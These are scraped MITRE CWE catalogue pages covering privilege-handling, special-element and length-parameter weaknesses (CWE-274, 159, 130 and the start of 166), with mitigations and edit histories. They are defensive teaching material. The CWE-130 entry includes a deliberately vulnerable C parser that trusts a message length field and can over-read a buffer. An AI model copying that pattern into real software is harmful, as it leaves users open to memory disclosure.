CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERFails poorly due to insufficient permissions
WASC17Improper Filesystem Permissions
Software Fault PatternsSFP4Unchecked Status Condition
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Theoretical_Notes
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Observed_Examples, Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Handle Insufficient Permissions or Privileges

CWE-274: Improper Handling of Insufficient Privileges

Weakness ID: 274
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.269Improper Privilege Management
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
PeerOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.271Privilege Dropping / Lowering Errors
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.280Improper Handling of Insufficient Permissions or Privileges
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.265Privilege Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other; Alter Execution Logic

+ Observed Examples
ReferenceDescription
System limits are not properly enforced after privileges are dropped.
Firewall crashes when it can't read a critical memory block that was protected by a malicious process.
Does not give admin sufficient privileges to overcome otherwise legitimate user actions.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.901SFP Primary Cluster: Privilege
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Potential Deprecation, CWE Overlap

Rationale:

This CWE entry could be deprecated in a future version of CWE.

Comments:

See maintenance notes.
+ Notes

Relationship

Overlaps dropped privileges, insufficient permissions.

Theoretical

This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the product makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInsufficient privileges
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Maintenance_Notes, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Maintenance_Notes, Theoretical_Notes
2009-05-27CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships
2021-03-15CWE Content TeamMITRE
updated Relationship_Notes, Theoretical_Notes
2023-01-31CWE Content TeamMITRE
updated Description, Relationships, Theoretical_Notes
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insufficient Privileges
2009-05-27Failure to Handle Insufficient Privileges

CWE-159: Improper Handling of Invalid Use of Special Elements

Weakness ID: 159
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly filter, remove, quote, or otherwise manage the invalid use of special elements in user-controlled input, which could cause adverse effect on its behavior and integrity.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.166Improper Handling of Missing Special Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.167Improper Handling of Additional Special Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.168Improper Handling of Inconsistent Special Elements
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Crash via message type without separator character
Extra "<" in front of SCRIPT tag bypasses XSS prevention.
+ Potential Mitigations
Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Terminology

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

Research Gap

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

Maintenance

The list of children for this entry is far from complete. However, the types of special elements might be too precise for use within CWE.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCommon Special Element Manipulations
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2009-10-29CWE Content TeamMITRE
updated Maintenance_Notes, Other_Notes, Terminology_Notes
2011-03-29CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Common Special Element Manipulations
2020-02-24Failure to Sanitize Special Element

CWE-130: Improper Handling of Length Parameter Inconsistency

Weakness ID: 130
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product parses a formatted message or structure, but it does not handle or incorrectly handles a length field that is inconsistent with the actual length of the associated data.
+ Extended Description
If an attacker can manipulate the length parameter associated with an input such that it is inconsistent with the actual length of the input, this can be leveraged to cause the target application to behave in unexpected, and possibly, malicious ways. One of the possible motives for doing so is to pass in arbitrarily large input to the application. Another possible motivation is the modification of application state by including invalid data for subsequent properties of the application. Such weaknesses commonly lead to attacks such as buffer overflows and execution of arbitrary code.
+ Alternate Terms
length manipulation
length tampering
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.240Improper Handling of Inconsistent Structural Elements
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.805Buffer Access with Incorrect Length Value
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Memory; Modify Memory; Varies by Context

+ Demonstrative Examples

Example 1

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(bad code)
Example Language:
int processMessageFromSocket(int socket) {
int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer

//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
message[index] = msg->msgBody[index];
}
message[index] = '\0';

// process message
success = processMessage(message);
}
return success;
}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

+ Observed Examples
ReferenceDescription
Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
Buffer overflow in internal string handling routine allows remote attackers to execute arbitrary commands via a length argument of zero or less, which disables the length check.
Web server allows remote attackers to cause a denial of service via an HTTP request with a content-length value that is larger than the size of the request, which prevents server from timing out the connection.
Service does not properly check the specified length of a cookie, which allows remote attackers to execute arbitrary commands via a buffer overflow, or brute force authentication by using a short cookie length.
Traffic analyzer allows remote attackers to cause a denial of service and possibly execute arbitrary code via invalid IPv4 or IPv6 prefix lengths, possibly triggering a buffer overflow.
Chat client allows remote attackers to cause a denial of service or execute arbitrary commands via a JPEG image containing a comment with an illegal field length of 1.
Server allows remote attackers to cause a denial of service and possibly execute arbitrary code via a negative Content-Length HTTP header field causing a heap-based buffer overflow.
Help program allows remote attackers to execute arbitrary commands via a heap-based buffer overflow caused by a .CHM file with a large length field
Name services does not properly validate the length of certain packets, which allows attackers to cause a denial of service and possibly execute arbitrary code. Can overlap zero-length issues
Policy manager allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value.
Heap-based buffer overflow in library allows remote attackers to execute arbitrary code via a modified record length field in an SSLv2 client hello message.
When domain logons are enabled, server allows remote attackers to cause a denial of service via a SAM_UAS_CHANGE request with a length value that is larger than the number of structures that are provided.
Multiple SSH2 servers and clients do not properly handle packets or data elements with incorrect length specifiers, which may allow remote attackers to cause a denial of service or possibly execute arbitrary code.
Server allows remote attackers to cause a denial of service (CPU and memory exhaustion) via a POST request with a Content-Length header set to -1.
Multiple buffer overflows in xml library that may allow remote attackers to execute arbitrary code via long URLs.
Application does not properly validate the length of a value that is saved in a session file, which allows remote attackers to execute arbitrary code via a malicious session file (.ht), web site, or Telnet URL contained in an e-mail message, triggering a buffer overflow.
Server allows remote attackers to cause a denial of service via a remote password array with an invalid length, which triggers a heap-based buffer overflow.
Product allows remote attackers to cause a denial of service and possibly execute arbitrary code via an SMB packet that specifies a smaller buffer length than is required.
Server allows remote attackers to execute arbitrary code via a LoginExt packet for a Cleartext Password User Authentication Method (UAM) request with a PathName argument that includes an AFPName type string that is longer than the associated length field.
PDF viewer allows remote attackers to execute arbitrary code via a PDF file with a large /Encrypt /Length keyLength value.
SVN client trusts the length field of SVN protocol URL strings, which allows remote attackers to cause a denial of service and possibly execute arbitrary code via an integer overflow that leads to a heap-based buffer overflow.
Is effectively an accidental double increment of a counter that prevents a length check conditional from exiting a loop.
Length field of a request not verified.
Buffer overflow by modifying a length value.
+ Potential Mitigations

Phase: Implementation

When processing structured incoming data containing a size field followed by raw data, ensure that you identify and resolve any inconsistencies between the size field and the actual size of the data.

Phase: Implementation

Do not let the user control the size of the buffer.

Phase: Implementation

Validate that the length of the user-supplied data is consistent with the buffer size.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This probably overlaps other categories including zero-length issues.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERLength Parameter Inconsistency
Software Fault PatternsSFP24Tainted Input to Command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-12-28CWE Content TeamMITRE
updated Observed_Examples
2010-02-16CWE Content TeamMITRE
updated Description, Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Type
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Type
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Taxonomy_Mappings
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Length Parameter Inconsistency
2009-03-10Failure to Handle Length Parameter Inconsistency

CWE-166: Improper Handling of Missing Special Element

Weakness ID: 166
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
